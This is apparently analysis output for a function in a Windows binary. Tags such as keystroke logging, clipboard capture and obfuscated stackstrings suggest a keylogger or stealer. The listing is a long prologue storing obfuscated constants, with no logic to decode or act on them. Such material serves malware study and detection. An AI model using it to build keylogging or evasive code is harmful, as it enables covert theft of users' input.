Function at 0x140001000
Capabilities:
Authenticate hmac
Check for unexpected memory writes
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Extract resource via kernel32 functions
Get common file path
Get file version info
Get graphical window text
Get keyboard layout
Get session user name
Log keystrokes
Log keystrokes via polling
Parse pe header
Read clipboard data
Write clipboard data

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0xe338
call fcn.1400bd5f0
sub rsp, rax
mov eax, 0xb9b
mov word [rsp + 0x514], ax
movabs rax, 0x67b3d2ae9e94ff22
mov qword [rsp + 0x2e40], rax
mov dword [rsp + 0x1808], 0xfd09d2ff
mov eax, 0x6210
mov word [rsp + 0x518], ax
mov eax, 0xea4
mov word [rsp + 0x51c], ax
mov eax, 0x7c96
mov word [rsp + 0x520], ax
mov dword [rsp + 0x180c], 0x5eee629a
mov eax, 0x6708
mov word [rsp + 0x524], ax
mov dword [rsp + 0x1810], 0x9fc86dc3
mov eax, 0xa7f
mov word [rsp + 0x528], ax
mov byte [rsp + 0x40], 0x27
mov byte [rsp + 0x41], 0x38
mov dword [rsp + 0x1814], 0x62615e65
mov byte [rsp + 0x42], 0x82
movabs rax, 0x7ccfbe47758cc549
mov qword [rsp + 0x2e48], rax
movabs rax, 0x259d199bd7112caf
mov qword [rsp + 0x2e50], rax
movabs rax, 0x7f48462679fd54f4
mov qword [rsp + 0x2e58], rax
movabs rax, 0x230a8da4e8003320
mov qword [rsp + 0x2e60], rax
mov dword [rsp + 0x1818], 0x4c20e6de
mov eax, 0xf5a
mov word [rsp + 0x52c], ax
mov dword [rsp + 0x181c], 0xe802f38d
mov byte [rsp + 0x43], 0x9d
mov byte [rsp + 0x44], 0xfb
mov eax, 0x820
mov word [rsp + 0x530], ax
movabs rax, 0x7c58c201d7dee6d2
mov qword [rsp + 0x2e68], rax
mov byte [rsp + 0x45], 0x74
mov eax, 0x82c
mov word [rsp + 0x534], ax
mov dword [rsp + 0x1820], 0x3d34a478
mov byte [rsp + 0x46], 0x44
mov eax, 0x3313
mov word [rsp + 0x538], ax
mov eax, 0x7ed
mov word [rsp + 0x53c], ax
mov dword [rsp + 0x1824], 0x675cd3fd
movabs rax, 0x143eb2eaa681d8a8
mov qword [rsp + 0x2e70], rax
mov eax, 0x7e94
mov word [rsp + 0x540], ax
mov byte [rsp + 0x47], 0x61
movabs rax, 0x2a90d00ea239a7a5
mov qword [rsp + 0x2e78], rax
movabs rax, 0x66233c187473fb9d
mov qword [rsp + 0x2e80], rax
mov byte [rsp + 0x48], 0xae
mov dword [rsp + 0x1828], 0xddc43ea8
mov byte [rsp + 0x49], 9
mov byte [rsp + 0x4a], 0x68
mov eax, 0x76be
mov word [rsp + 0x544], ax
mov eax, 0x51b
mov word [rsp + 0x548], ax
mov byte [rsp + 0x4b], 0xf2
movabs rax, 0x82aea457d663a6c0
mov qword [rsp + 0x2e88], rax
mov eax, 0xcf7
mov word [rsp + 0x54c], ax
mov byte [rsp + 0x4c], 0x1f
mov dword [rsp + 0x182c], 0x5931202f
mov dword [rsp + 0x1830], 0x3e165dff
mov dword [rsp + 0x1834], 0xdc089aaf
mov eax, 0x54d
mov word [rsp + 0x550], ax
mov dword [rsp + 0x1838], 0x47dec2f6
mov eax, 0x2096
mov word [rsp + 0x554], ax
mov byte [rsp + 0x4d], 0x24
mov byte [rsp + 0x4e], 0xc9
mov byte [rsp + 0x4f], 0x12
mov byte [rsp + 0x50], 0x19
mov byte [rsp + 0x51], 0x9b
mov eax, 0x687
mov word [rsp + 0x558], ax
mov byte [rsp + 0x52], 0x1a
mov eax, 0x944
mov word [rsp + 0x55c], ax
mov eax, 0xc05
mov word [rsp + 0x560], ax
mov eax, 0x27b0
mov word [rsp + 0x564], ax
mov byte [rsp + 0x53], 0xf1
mov dword [rsp + 0x183c], 0x83be269f
mov eax, 0xdd6
mov word [rsp + 0x568], ax
mov byte [rsp + 0x54], 0x52
mov dword [rsp + 0x1840], 0x3fab1acc
mov dword [rsp + 0x1844], 0x1be7d35b
movabs rax, 0x162267e6f9710736
mov qword [rsp + 0x2e90], rax
mov byte [rsp + 0x55], 0xac
mov byte [rsp + 0x56], 0x6c
mov eax, 0xe8f
mov word [rsp + 0x56c], ax
mov dword [rsp + 0x1848], 0x651dd624
mov byte [rsp + 0x57], 0x30
mov eax, 0x4180
mov word [rsp + 0x570], ax
movabs rax, 0x4b18f61b4e34c7da
mov qword [rsp + 0x2e98], rax
mov eax, 0x38ec
mov word [rsp + 0x574], ax
movabs rax, 0x4d36210b4831289e
mov qword [rsp + 0x2ea0], rax
mov byte [rsp + 0x58], 0x7f
mov dword [rsp + 0x184c], 0x26b3645a
mov eax, 0xdca
mov word [rsp + 0x578], ax
mov byte [rsp + 0x59], 0xaa
movabs rax, 0x567577b2191128ab
mov qword [rsp + 0x2ea8], rax
mov dword [rsp + 0x1850], 0x7ca64af2
mov dword [rsp + 0x1854], 0x98d54bd8
mov dword [rsp + 0x1858], 0x51a29eca
mov byte [rsp + 0x5a], 0x1c
mov dword [rsp + 0x185c], 0x74c20bd2
mov dword [rsp + 0x1860], 0x4c2d9981
mov eax, 0x3f58
mov word [rsp + 0x57c], ax
movabs rax, 0x3489f46f4f1e7c0c
mov qword [rsp + 0x2eb0], rax
movabs rax, 0x9662f154f6e61c07
mov qword [rsp + 0x2eb8], rax
movabs rax, 0x101a3b195af08b4
mov qword [rsp + 0x2ec0], rax
mov dword [rsp + 0x1864], 0x3bdc92e7
mov dword [rsp + 0x1868], 0x68c05a1f
mov byte [rsp + 0x5b], 0x31
movabs rax, 0x57fc2c7b75c43963
mov qword [rsp + 0x2ec8], rax
mov eax, 0x52b
mov word [rsp + 0x580], ax
movabs rax, 0x778ad3387e67ba53
mov qword [rsp + 0x2ed0], rax
mov eax, 0xfc3
mov word [rsp + 0x584], ax
mov byte [rsp + 0x5c], 0x2d
movabs rax, 0x6a6c283a7cfe8779
mov qword [rsp + 0x2ed8], rax
mov byte [rsp + 0x5d], 0xd4
mov dword [rsp + 0x186c], 0x506cbbb
movabs rax, 0xeb2e1315507735ea
mov qword [rsp + 0x2ee0], rax
mov byte [rsp + 0x5e], 0x32
mov dword [rsp + 0x1870], 0xb49d23a1
mov eax, 0x93d
mov word [rsp + 0x588], ax
mov dword [rsp + 0x1874], 0x4477dc19
movabs rax, 0x4195392d34d9f28
mov qword [rsp + 0x2ee8], rax
mov byte [rsp + 0x5f], 0
movabs rax, 0x9cf9b2780f23ed0e
mov qword [rsp + 0x2ef0], rax
mov byte [rsp + 0x60], 0xc5
mov eax, 0x123
mov word [rsp + 0x58c], ax
mov eax, 0x4e06
mov word [rsp + 0x590], ax
mov dword [rsp + 0x1878], 0xf7219ab6
mov eax, 0x98e
mov word [rsp + 0x594], ax
movabs rax, 0x9b962ec620f683d
mov qword [rsp + 0x2ef8], rax
mov byte [rsp + 0x61], 0x45
mov eax, 0x245
mov word [rsp + 0x598], ax
mov byte [rsp + 0x62], 0xe7
movabs rax, 0x5f24f07228c8051
mov qword [rsp + 0x2f00], rax
movabs rax, 0x17dee30baf198679
mov qword [rsp + 0x2f08], rax
mov dword [rsp + 0x187c], 0x9a9afca9
mov byte [rsp + 0x63], 0
mov eax, 0x79d9
mov word [rsp + 0x59c], ax
mov dword [rsp + 0x1880], 0x2ecab5cb
movabs rax, 0x44689b458849a112
mov qword [rsp + 0x2f10], rax
mov byte [rsp + 0x64], 6
mov dword [rsp + 0x1884], 0x5bb1e163
mov dword [rsp + 0x1888], 0x35893854
mov eax, 0x3f39
mov word [rsp + 0x5a0], ax
mov eax, 0x6228
mov word [rsp + 0x5a4], ax
movabs rax, 0x43dc7ab2e1851c19
mov qword [rsp + 0x2f18], rax
mov byte [rsp + 0x65], 0x11
mov dword [rsp + 0x188c], 0x694a49ae
movabs rax, 0x1d2f6e1a3181b3ed
mov qword [rsp + 0x2f20], rax
mov dword [rsp + 0x1890], 0xc19e6b7f
mov dword [rsp + 0x1894], 0xa257790
movabs rax, 0x219de9e082eba4db
mov qword [rsp + 0x2f28], rax
movabs rax, 0xeb6d604e8e2fafc9
mov qword [rsp + 0x2f30], rax
mov dword [rsp + 0x1898], 0x2f6772dc
mov eax, 0x3b04
mov word [rsp + 0x5a8], ax
mov byte [rsp + 0x66], 0x6d
mov byte [rsp + 0x67], 0x16
movabs rax, 0xb77d5617d99a92b7
mov qword [rsp + 0x2f38], rax
mov eax, 0x4180
mov word [rsp + 0x5ac], ax
mov dword [rsp + 0x189c], 0x5736f80a
mov byte [rsp + 0x68], 0x38
movabs rax, 0x75e075118541446
mov qword [rsp + 0x2f40], rax
mov dword [rsp + 0x18a0], 0xb05fad58
mov byte [rsp + 0x69], 0x4c
mov eax, 0x399
mov word [rsp + 0x5b0], ax
mov eax, 0x761
mov word [rsp + 0x5b4], ax
mov dword [rsp + 0x18a4], 0x1035448f
movabs rax, 0xb83754588ae7a456
mov qword [rsp + 0x2f48], rax
mov byte [rsp + 0x6a], 0x1d
mov byte [rsp + 0x6b], 0x40
movabs rax, 0xc304f775860378d2
mov qword [rsp + 0x2f50], rax
mov byte [rsp + 0x6c], 0x73
mov eax, 0xc43
mov word [rsp + 0x5b8], ax
mov eax, 0xbbf
mov word [rsp + 0x5bc], ax
mov byte [rsp + 0x6d], 0x4b
mov dword [rsp + 0x18a8], 0x1d65624b
mov byte [rsp + 0x6e], 0xe
mov byte [rsp + 0x6f], 0xe6
mov dword [rsp + 0x18ac], 0x32df99c7
movabs rax, 0x1a3a1ad986cba595
mov qword [rsp + 0x2f58], rax
mov byte [rsp + 0x70], 0x32
mov eax, 0x6b8
mov word [rsp + 0x5c0], ax
mov eax, 0xee7
mov word [rsp + 0x5c4], ax
movabs rax, 0x143d52f4bd287b9b
mov qword [rsp + 0x2f60], rax
movabs rax, 0x4eb35a7ca8c66480
mov qword [rsp + 0x2f68], rax
mov dword [rsp + 0x18b0], 0x51424a9
mov dword [rsp + 0x18b4], 0x11520300
movabs rax, 0x1ba3efa1830e93c0
mov qword [rsp + 0x2f70], rax
movabs rax, 0xdbb40d2b870d93d
mov qword [rsp + 0x2f78], rax
mov eax, 0x608
mov word [rsp + 0x5c8], ax
mov byte [rsp + 0x71], 0x24
mov eax, 0x2752
mov word [rsp + 0x5cc], ax
mov eax, 0xdf7
mov word [rsp + 0x5d0], ax
mov eax, 0xc93
mov word [rsp + 0x5d4], ax
movabs rax, 0x28578dd793cdea02
mov qword [rsp + 0x2f80], rax
mov dword [rsp + 0x18b8], 0x3f81dfde
mov dword [rsp + 0x18bc], 0x267b9c3d
movabs rax, 0x4dece69a2f759076
mov qword [rsp + 0x2f88], rax
mov eax, 0x1dc5
mov word [rsp + 0x5d8], ax
mov dword [rsp + 0x18c0], 0x2f161baa
mov byte [rsp + 0x72], 0xf2
mov dword [rsp + 0x18c4], 0x78e0b83e
movabs rax, 0x312a665e6da96234
mov qword [rsp + 0x2f90], rax
movabs rax, 0x782a31ca43a76b57
mov qword [rsp + 0x2f98], rax
mov eax, 0x1ae6
mov word [rsp + 0x5dc], ax
movabs rax, 0x4691aa2db4e663bf
mov qword [rsp + 0x2fa0], rax
mov byte [rsp + 0x73], 0x1d
mov eax, 0x120e
mov word [rsp + 0x5e0], ax
movabs rax, 0xbd47f92187a15512
mov qword [rsp + 0x2fa8], rax
mov eax, 0x714
mov word [rsp + 0x5e4], ax
mov eax, 0x2da2
mov word [rsp + 0x5e8], ax
mov byte [rsp + 0x74], 0x85
movabs rax, 0x19122f74a354feeb
mov qword [rsp + 0x2fb0], rax
mov byte [rsp + 0x75], 0x57
mov dword [rsp + 0x18c8], 0x84a2b1e2
movabs rax, 0x4082e609290c2a2a
mov qword [rsp + 0x2fb8], rax
movabs rax, 0x78a2134eec82e750
mov qword [rsp + 0x2fc0], rax
mov eax, 0xff0
mov word [rsp + 0x5ec], ax
mov dword [rsp + 0x18cc], 0x1e59a3b1
movabs rax, 0x867e68b09339650a
mov qword [rsp + 0x2fc8], rax
mov eax, 0x5717
mov word [rsp + 0x5f0], ax
mov dword [rsp + 0x18d0], 0x995eb132
mov dword [rsp + 0x18d4], 0x54f14818
movabs rax, 0xa933b4974b501885
mov qword [rsp + 0x2fd0], rax
mov byte [rsp + 0x76], 0x73
mov byte [rsp + 0x77], 0xe9
mov byte [rsp + 0x78], 0x1c
mov eax, 0xd63
mov word [rsp + 0x5f4], ax
movabs rax, 0xcd9bb9fccf1f2ac0
mov qword [rsp + 0x2fd8], rax
mov eax, 0xd3a
mov word [rsp + 0x5f8], ax
mov dword [rsp + 0x18d8], 0x7eb18075
mov eax, 0x36bd
mov word [rsp + 0x5fc], ax
movabs rax, 0xc98c84531b97763d
mov qword [rsp + 0x2fe0], rax
movabs rax, 0x2fa5a98467a830e0
mov qword [rsp + 0x2fe8], rax
mov dword [rsp + 0x18dc], 0x7f301d28
movabs rax, 0x4109dcff7763c471
mov qword [rsp + 0x2ff0], rax
mov byte [rsp + 0x79], 0
movabs rax, 0x7a22c485cbf8d10e
mov qword [rsp + 0x2ff8], rax
movabs rax, 0x5deb134679d6b395
mov qword [rsp + 0x3000], rax
mov byte [rsp + 0x7a], 0xe2
mov dword [rsp + 0x18e0], 0xa518fd0b
mov eax, 0x251b
mov word [rsp + 0x600], ax
mov dword [rsp + 0x18e4], 0x767cd537
movabs rax, 0x5a9602cf16acaf56
mov qword [rsp + 0x3008], rax
mov dword [rsp + 0x18e8], 0x4f2b3f80
mov dword [rsp + 0x18ec], 0x779270b0
mov byte [rsp + 0x7b], 0x13
movabs rax, 0x582ef099b55d799a
mov qword [rsp + 0x3010], rax
mov byte [rsp + 0x7c], 0x34
mov byte [rsp + 0x7d], 0x40
mov byte [rsp + 0x7e], 0x78
mov byte [rsp + 0x7f], 0xf
mov dword [rsp + 0x18f0], 0x3df5ba4c
mov byte [rsp + 0x80], 0x79
mov byte [rsp + 0x81], 0x22
mov byte [rsp + 0x82], 0x22
mov eax, 0x5fd
mov word [rsp + 0x604], ax
movabs rax, 0x8cd942c4afd10da
mov qword [rsp + 0x3018], rax
mov dword [rsp + 0x18f4], 0xbdd7a6c7
mov byte [rsp + 0x83], 0x71
mov eax, 0x2536
mov word [rsp + 0x608], ax
mov byte [rsp + 0x84], 0x55
mov eax, 0x20e6
mov word [rsp + 0x60c], ax
mov dword [rsp + 0x18f8], 0x58c589f3
mov byte [rsp + 0x85], 0x3d
mov byte [rsp + 0x86], 0xdd
movabs rax, 0x3104497d79d32e1f
mov qword [rsp + 0x3020], rax
movabs rax, 0xc1406c01cf0123e6
mov qword [rsp + 0x3028], rax
mov eax, 0x23d
mov word [rsp + 0x610], ax
mov byte [rsp + 0x87], 0x42
mov eax, 0xb20
mov word [rsp + 0x614], ax
mov eax, 0x238
mov word [rsp + 0x618], ax
mov byte [rsp + 0x88], 0xb2
movabs rax, 0xef90394e903335df
mov qword [rsp + 0x3030], rax
mov dword [rsp + 0x18fc], 0x34dbe12
mov eax, 0xe29
mov word [rsp + 0x61c], ax
mov eax, 0x40fc
mov word [rsp + 0x620], ax
mov eax, 0x62bc
mov word [rsp + 0x624], ax
mov eax, 0x4f6
mov word [rsp + 0x628], ax
mov dword [rsp + 0x1900], 0xb9b87733
mov eax, 0x147c
mov word [rsp + 0x62c], ax
mov eax, 0x16d
mov word [rsp + 0x630], ax
movabs rax, 0x8f1375ffb9ea132c
mov qword [rsp + 0x3038], rax
mov eax, 0xd70
mov word [rsp + 0x634], ax
mov byte [rsp + 0x89], 0x56
mov eax, 0x1e7
mov word [rsp + 0x638], ax
movabs rax, 0x262322c07626edfe
mov qword [rsp + 0x3040], rax
mov byte [rsp + 0x8a], 0x23
mov dword [rsp + 0x1904], 0x62824a50
mov byte [rsp + 0x8b], 0x7f
mov dword [rsp + 0x1908], 0x7044b05c
movabs rax, 0x9f1c1d6888a13542
mov qword [rsp + 0x3048], rax
mov dword [rsp + 0x190c], 0x3cf76e0f
mov eax, 0x2a28
mov word [rsp + 0x63c], ax
mov dword [rsp + 0x1910], 0x2b031386
mov dword [rsp + 0x1914], 0xc0c333e4
mov dword [rsp + 0x1918], 0x63d91703
movabs rax, 0x1d16484ed62d7c16
mov qword [rsp + 0x3050], rax
mov dword [rsp + 0x191c], 0x1dde7cde
mov dword [rsp + 0x1920], 0x1dd77fc6
movabs rax, 0x7d67817f110ee876
mov qword [rsp + 0x3058], rax
mov byte [rsp + 0x8c], 0x1d
mov byte [rsp + 0x8d], 9
mov eax, 0x5afb
mov word [rsp + 0x640], ax
movabs rax, 0x172c0cdcfa15777d
mov qword [rsp + 0x3060], rax
mov byte [rsp + 0x8e], 0x70
mov byte [rsp + 0x8f], 0x41
movabs rax, 0x34d6fff71ef8f5b0
mov qword [rsp + 0x3068], rax
mov eax, 0x45fa
mov word [rsp + 0x644], ax
mov byte [rsp + 0x90], 0x1b
movabs rax, 0x296ea732887d1e0b
mov qword [rsp + 0x3070], rax
mov dword [rsp + 0x1924], 0xd83922f
mov eax, 0x122
mov word [rsp + 0x648], ax
movabs rax, 0x2f96813dc44fc077
mov qword [rsp + 0x3078], rax
mov eax, 0x1afa
mov word [rsp + 0x64c], ax
mov eax, 0x8cb
mov word [rsp + 0x650], ax
mov dword [rsp + 0x1928], 0x501900cd
movabs rax, 0xaed9d4f120db361
mov qword [rsp + 0x3080], rax
mov eax, 0xae6
mov word [rsp + 0x654], ax
mov dword [rsp + 0x192c], 0x43eb9148
mov eax, 0x446
mov word [rsp + 0x658], ax
movabs rax, 0xb5a87f639c96671
mov qword [rsp + 0x3088], rax
mov dword [rsp + 0x1930], 0x531fe1dd
mov byte [rsp + 0x91], 0x92
mov eax, 0x138
mov word [rsp + 0x65c], ax
mov eax, 0x7df7
mov word [rsp + 0x660], ax
mov byte [rsp + 0x92], 0x10
movabs rax, 0x8bdf01717132c625
mov qword [rsp + 0x3090], rax
mov dword [rsp + 0x1934], 0x3bc6a19
movabs rax, 0x1bbd3aad3bc5de36
mov qword [rsp + 0x3098], rax
movabs rax, 0x684b03d0f681c90e
mov qword [rsp + 0x30a0], rax
mov byte [rsp + 0x93], 0x36
mov eax, 0x366
mov word [rsp + 0x664], ax
mov dword [rsp + 0x1938], 0x2a4b837b
movabs rax, 0xe4a342601b0c6858
mov qword [rsp + 0x30a8], rax
mov eax, 0xae9
mov word [rsp + 0x668], ax
mov byte [rsp + 0x94], 0x26
mov dword [rsp + 0x193c], 0x336e7c4a
movabs rax, 0x5e575ac663ecd82b
mov qword [rsp + 0x30b0], rax
movabs rax, 0x11fac0d1975e6427
mov qword [rsp + 0x30b8], rax
movabs rax, 0x2ed5e4f11ea9943
mov qword [rsp + 0x30c0], rax
mov dword [rsp + 0x1940], 0xf38fd49c
movabs rax, 0xe90e5911681c06a
mov qword [rsp + 0x30c8], rax
mov dword [rsp + 0x1944], 0x903012a1
mov eax, 0x957
mov word [rsp + 0x66c], ax
mov eax, 0x91b
mov word [rsp + 0x670], ax
mov byte [rsp + 0x95], 0x6c
movabs rax, 0x24b911d0b69dba2d
mov qword [rsp + 0x30d0], rax
mov dword [rsp + 0x1948], 0x385d2407
mov eax, 0xd50
mov word [rsp + 0x674], ax
movabs rax, 0x4c16d83cdf87fba3
mov qword [rsp + 0x30d8], rax
mov eax, 0x3968
mov word [rsp + 0x678], ax
mov dword [rsp + 0x194c], 0xf0df9f07
mov byte [rsp + 0x96], 0x15
movabs rax, 0x1b8b5c2f5ece5784
mov qword [rsp + 0x30e0], rax
mov dword [rsp + 0x1950], 0x722ff5b
movabs rax, 0x1520b4403fed5dc9
mov qword [rsp + 0x30e8], rax
mov byte [rsp + 0x97], 0x1d
mov eax, 0x63e
mov word [rsp + 0x67c], ax
mov eax, 0x26e1
mov word [rsp + 0x680], ax
mov dword [rsp + 0x1954], 0x7aa4fe2e
mov dword [rsp + 0x1958], 0xcb88a3c6
mov dword [rsp + 0x195c], 0x3a92ebea
mov byte [rsp + 0x98], 0x32
mov dword [rsp + 0x1960], 0x1847ac8c
mov byte [rsp + 0x99], 0x7a
mov byte [rsp + 0x9a], 0x6f
movabs rax, 0x5b9fb00e51619c42
mov qword [rsp + 0x30f0], rax
mov byte [rsp + 0x9b], 0x68
movabs rax, 0xff2f4f7b051c1ed3
mov qword [rsp + 0x30f8], rax
movabs rax, 0x903bc12bcfbdb99c
mov qword [rsp + 0x3100], rax
mov eax, 0x6c16
mov word [rsp + 0x684], ax
mov eax, 0x7e27
mov word [rsp + 0x688], ax
movabs rax, 0x41773469665047e6
mov qword [rsp + 0x3108], rax
movabs rax, 0x236a8d2b94fb577b
mov qword [rsp + 0x3110], rax
mov byte [rsp + 0x9c], 0x21
movabs rax, 0x7970585052af76a1
mov qword [rsp + 0x3118], rax
movabs rax, 0x3eaa5648cb2cf0cc
mov qword [rsp + 0x3120], rax
mov eax, 0x4af9
mov word [rsp + 0x68c], ax
movabs rax, 0x47f8224144fe821a
mov qword [rsp + 0x3128], rax
mov byte [rsp + 0x9d], 0x2a
movabs rax, 0x12a3f4198bdd8675
mov qword [rsp + 0x3130], rax
movabs rax, 0x482c4dc4b559fe8e
mov qword [rsp + 0x3138], rax
mov dword [rsp + 0x1964], 0x7f3b3a0b
mov dword [rsp + 0x1968], 0x7065022f
mov byte [rsp + 0x9e], 0xa7
mov eax, 0x45bf
mov word [rsp + 0x690], ax
mov dword [rsp + 0x196c], 0x295c1bb
mov eax, 0x156d
mov word [rsp + 0x694], ax
mov byte [rsp + 0x9f], 0x35
mov byte [rsp + 0xa0], 0x68
mov byte [rsp + 0xa1], 0x84
mov dword [rsp + 0x1970], 0x395f87f1
mov eax, 0x432d
mov word [rsp + 0x698], ax
movabs rax, 0x245f7ba125e8e958
mov qword [rsp + 0x3140], rax
mov dword [rsp + 0x1974], 0x336ccdd7
mov byte [rsp + 0xa2], 0xfd
mov byte [rsp + 0xa3], 0x38
mov eax, 0x1ce
mov word [rsp + 0x69c], ax
mov dword [rsp + 0x1978], 0x6722c1de
mov eax, 0x4591
mov word [rsp + 0x6a0], ax
movabs rax, 0x4a66f850bdaf631c
mov qword [rsp + 0x3148], rax
mov dword [rsp + 0x197c], 0xac3cf238
mov eax, 0xd6
mov word [rsp + 0x6a4], ax
mov dword [rsp + 0x1980], 0xf077b646
mov dword [rsp + 0x1984], 0xe7e76e56
movabs rax, 0x7238203c9037f1b6
mov qword [rsp + 0x3150], rax
mov eax, 0x5939
mov word [rsp + 0x6a8], ax
mov byte [rsp + 0xa4], 0x7c
movabs rax, 0xa8f63121aa9e94e2
mov qword [rsp + 0x3158], rax
movabs rax, 0x56343a2df8d7c919
mov qword [rsp + 0x3160], rax
mov dword [rsp + 0x1988], 0xbf495f89
mov eax, 0xbc0
mov word [rsp + 0x6ac], ax
mov dword [rsp + 0x198c], 0xc6f9358
movabs rax, 0x638a394980f2f797
mov qword [rsp + 0x3168], rax
movabs rax, 0x4aec479572035ba8
mov qword [rsp + 0x3170], rax
movabs rax, 0x55f7b87716cb87c0
mov qword [rsp + 0x3178], rax
movabs rax, 0x656469cd8e91677
mov qword [rsp + 0x3180], rax
mov dword [rsp + 0x1990], 0x434a5caa
mov dword [rsp + 0x1994], 0x5b9a1bff
mov byte [rsp + 0xa5], 0x6f
mov eax, 0xc8c
mov word [rsp + 0x6b0], ax
mov byte [rsp + 0xa6], 0x15
movabs rax, 0x1d4e38591596ae
mov qword [rsp + 0x3188], rax
mov dword [rsp + 0x1998], 0x3cb7f58c
mov eax, 0x745
mov word [rsp + 0x6b4], ax
mov eax, 0x13c5
mov word [rsp + 0x6b8], ax
mov dword [rsp + 0x199c], 0xb19125c
mov dword [rsp + 0x19a0], 0x7822acf6
movabs rax, 0x3e67b6e601165b6d
mov qword [rsp + 0x3190], rax
movabs rax, 0x67998640abdee0ba
mov qword [rsp + 0x3198], rax
mov dword [rsp + 0x19a4], 0xb3382b1f
movabs rax, 0x4a020404fbeb2d3c
mov qword [rsp + 0x31a0], rax
mov byte [rsp + 0xa7], 0x15
mov eax, 0x72cf
mov word [rsp + 0x6bc], ax
mov byte [rsp + 0xa8], 5
movabs rax, 0x84ec57be6d1b3737
mov qword [rsp + 0x31a8], rax
mov dword [rsp + 0x19a8], 0x4702c42d
movabs rax, 0x8fb39ca5021019d0
mov qword [rsp + 0x31b0], rax
mov dword [rsp + 0x19ac], 0xd3cc8c7c
mov eax, 0xdf7
mov word [rsp + 0x6c0], ax
mov dword [rsp + 0x19b0], 0xec51c88
mov byte [rsp + 0xa9], 0x9a
movabs rax, 0xbc65b6cce8fe10ba
mov qword [rsp + 0x31b8], rax
mov byte [rsp + 0xaa], 0x3b
mov byte [rsp + 0xab], 5
movabs rax, 0x75a20e9eb35e753a
mov qword [rsp + 0x31c0], rax
mov dword [rsp + 0x19b4], 0x8cd657c
mov dword [rsp + 0x19b8], 0x2f6de907
movabs rax, 0x26825e6cdab11d00
mov qword [rsp + 0x31c8], rax
mov byte [rsp + 0xac], 0xc3
mov eax, 0x193
mov word [rsp + 0x6c4], ax
mov eax, 0x3786
mov word [rsp + 0x6c8], ax
mov byte [rsp + 0xad], 0xb2
mov dword [rsp + 0x19bc], 0x9167478d
mov dword [rsp + 0x19c0], 0xfb226dba
movabs rax, 0x13f8b5898515905e
mov qword [rsp + 0x31d0], rax
mov byte [rsp + 0xae], 0x43
mov byte [rsp + 0xaf], 0x51
movabs rax, 0x181669323e5645e0
mov qword [rsp + 0x31d8], rax
mov byte [rsp + 0xb0], 0x5f
mov eax, 0x367
mov word [rsp + 0x6cc], ax
mov eax, 0x6204
mov word [rsp + 0x6d0], ax
mov byte [rsp + 0xb1], 0x6c
mov dword [rsp + 0x19c4], 0x40694e85
mov dword [rsp + 0x19c8], 0x5f034eec
mov dword [rsp + 0x19cc], 0x77a9076a
mov byte [rsp + 0xb2], 0x1b
mov dword [rsp + 0x19d0], 0xc894ad2c
mov dword [rsp + 0x19d4], 0xc01e2cab
mov dword [rsp + 0x19d8], 0x36e07104
mov dword [rsp + 0x19dc], 0xcbc9f54f
mov dword [rsp + 0x19e0], 0x9ccb58e
mov eax, 0xa50
mov word [rsp + 0x6d4], ax
mov byte [rsp + 0xb3], 0x84
mov eax, 0x3a
mov word [rsp + 0x6d8], ax
movabs rax, 0x27eb7f874761d64
mov qword [rsp + 0x31e0], rax
movabs rax, 0x4f4fa7e8dbc39f9c
mov qword [rsp + 0x31e8], rax
mov byte [rsp + 0xb4], 0x58
mov dword [rsp + 0x19e4], 0x4262e162
mov eax, 0x6c78
mov word [rsp + 0x6dc], ax
mov eax, 0x3cb
mov word [rsp + 0x6e0], ax
mov byte [rsp + 0xb5], 0x44
mov eax, 0x67f
mov word [rsp + 0x6e4], ax
mov dword [rsp + 0x19e8], 0x10c86f8f
mov eax, 0x2eaf
mov word [rsp + 0x6e8], ax
movabs rax, 0x3b5e9149fe7135b7
mov qword [rsp + 0x31f0], rax
mov eax, 0xa91
mov word [rsp + 0x6ec], ax
movabs rax, 0xff5e3332a31b742
mov qword [rsp + 0x31f8], rax
mov byte [rsp + 0xb6], 0x88
movabs rax, 0x2ef58e7d5c8225fb
mov qword [rsp + 0x3200], rax
mov dword [rsp + 0x19ec], 0x81d28822
mov dword [rsp + 0x19f0], 0x1effe251
movabs rax, 0xb472f65010063e99
mov qword [rsp + 0x3208], rax
movabs rax, 0xa9222921a181d1d7
mov qword [rsp + 0x3210], rax
mov dword [rsp + 0x19f4], 0x2005cc2c
mov eax, 0x511
mov word [rsp + 0x6f0], ax
mov eax, 0x154
mov word [rsp + 0x6f4], ax
mov byte [rsp + 0xb7], 0xdf
mov eax, 0xe84
mov word [rsp + 0x6f8], ax
mov eax, 0x80a
mov word [rsp + 0x6fc], ax
mov byte [rsp + 0xb8], 0x51
mov dword [rsp + 0x19f8], 0x9c4bb853
mov dword [rsp + 0x19fc], 0x489a50c6
mov eax, 0x68c
mov word [rsp + 0x700], ax
mov eax, 0x2c8a
mov word [rsp + 0x704], ax
mov byte [rsp + 0xb9], 0x5b
mov eax, 0x2d
mov word [rsp + 0x708], ax
movabs rax, 0x2489a04cdea429ad
mov qword [rsp + 0x3218], rax
mov eax, 0xa82
mov word [rsp + 0x70c], ax
movabs rax, 0xbaa5f72ced4d3d94
mov qword [rsp + 0x3220], rax
movabs rax, 0x5dc74dac922880da
mov qword [rsp + 0x3228], rax
mov eax, 0x85c
mov word [rsp + 0x710], ax
movabs rax, 0x6790e1098e0391bf
mov qword [rsp + 0x3230], rax
mov eax, 0x1002
mov word [rsp + 0x714], ax
movabs rax, 0x186f6fef66d8acf4
mov qword [rsp + 0x3238], rax
mov eax, 0x166
mov word [rsp + 0x718], ax
mov dword [rsp + 0x1a00], 0xab0e06e
mov byte [rsp + 0xba], 0x23
mov dword [rsp + 0x1a04], 0xa3633d22
mov byte [rsp + 0xbb], 0xf1
mov eax, 0x1832
mov word [rsp + 0x71c], ax
mov eax, 0x7f48
mov word [rsp + 0x720], ax
mov dword [rsp + 0x1a08], 0x5d795b30
mov eax, 0x64f3
mov word [rsp + 0x724], ax
mov byte [rsp + 0xbc], 0x71
mov dword [rsp + 0x1a0c], 0xf1a75e0f
mov eax, 0x4a08
mov word [rsp + 0x728], ax
movabs rax, 0x45afba338a9b496d
mov qword [rsp + 0x3240], rax
mov dword [rsp + 0x1a10], 0xb1d4f526
movabs rax, 0x6e6282e3a8c38137
mov qword [rsp + 0x3248], rax
mov dword [rsp + 0x1a14], 0x7ec0d96b
mov byte [rsp + 0xbd], 0x38
mov byte [rsp + 0xbe], 0x46
mov dword [rsp + 0x1a18], 0x41b5c55e
movabs rax, 0x52ecb094be1e431
mov qword [rsp + 0x3250], rax
mov byte [rsp + 0xbf], 0xea
